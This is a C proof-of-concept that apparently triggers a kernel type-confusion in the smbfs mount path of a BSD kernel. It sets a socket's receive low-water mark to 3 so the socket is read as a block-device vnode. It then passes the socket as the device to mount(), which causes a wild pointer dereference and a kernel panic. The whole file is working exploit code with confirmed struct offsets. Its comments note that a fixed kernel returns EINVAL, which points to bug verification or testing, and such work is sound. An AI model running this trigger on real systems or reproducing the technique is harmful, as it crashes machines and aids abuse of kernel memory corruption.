DF-0718 / panic.c
/* * DF-0718 panic trigger — shapes a socket so the type-confusion lands VBLK(3) * at the v_type offset inside the (mis-cast) socket, forcing vn_todev() to * return a garbage cdev_t and SMB_GETDEV() to wild-deref -> kernel panic. * * Layout (confirmed via gdb on /boot/kernel/kernel.debug): * struct vnode: v_type @ 0xe8 (232), v_rdev @ 0xf8 (248) * struct socket: so_rcv (signalsockbuf) @ 136 * so_rcv.ssb_lowat @ 96 -> absolute socket offset 232 == vnode v_type * so_rcv.ssb_mbmax @ 112 -> absolute socket offset 248 == vnode v_rdev * * setsockopt(SOL_SOCKET, SO_RCVLOWAT, 3) makes ssb_lowat=3 => the kernel * reads the socket's ssb_lowat as v_type and sees VBLK(3). vn_todev() then: * if (vp->v_type != VBLK && vp->v_type != VCHR) return NULL; // SKIPPED * KKASSERT(vp->v_rdev != NULL); // v_rdev=ssb_mbmax (~26KB) -> passes * return vp->v_rdev; // returns ~26KB as cdev_t * smb_dev2share then: SMB_CHECKMINOR(dev) -> sdp = SMB_GETDEV(dev) = * ((struct smb_dev*)(dev)->si_drv1) // derefs ~26KB as pointer -> PAGE * // FAULT PANIC * * Run as root after `kldload smbfs`. On the BUGGY kernel this panics; on the * FIXED kernel (DTYPE_VNODE check) it returns EINVAL without touching f_data. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/socket.h> #include <vfs/smbfs/smbfs.h> #include <err.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> static const char mountpoint[] = "/mnt/df0718"; int main(void) { struct smbfs_args m; int s, rv, val; mkdir(mountpoint, 0755); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) err(1, "socket"); /* Shape the socket so the type-confusion reads VBLK(3) at the v_type * offset (ssb_lowat). */ val = 3; /* VBLK == 3 */ if (setsockopt(s, SOL_SOCKET, SO_RCVLOWAT, &val, sizeof(val)) < 0) err(1, "setsockopt SO_RCVLOWAT=3"); printf("[+] socket %d: SO_RCVLOWAT set to %d (VBLK) -> lands at vnode v_type offset\n", s, val); printf("[*] so_rcv.ssb_mbmax (~26KB, non-NULL) will be read as v_rdev\n"); printf("[*] vn_todev() returns ssb_mbmax as garbage cdev_t\n"); printf("[*] SMB_GETDEV(garbage)->si_drv1 will wild-deref -> PANIC\n"); printf("[*] issuing mount(SMBFS) with args.dev = %d ...\n", s); memset(&m, 0, sizeof(m)); m.version = SMBFS_VERSION; m.dev = s; strlcpy(m.mount_point, mountpoint, sizeof(m.mount_point)); m.uid = m.gid = 0; m.file_mode = 0644; m.dir_mode = 0755; errno = 0; rv = mount(SMBFS_VFSNAME, m.mount_point, 0, &m); /* Should NOT reach here on buggy kernel (panics in smb_dev2share). */ printf("[!] mount returned rv=%d errno=%d (%s) — kernel survived (FIXED kernel?)\n", rv, errno, strerror(errno)); return (rv == 0) ? 0 : 1; } |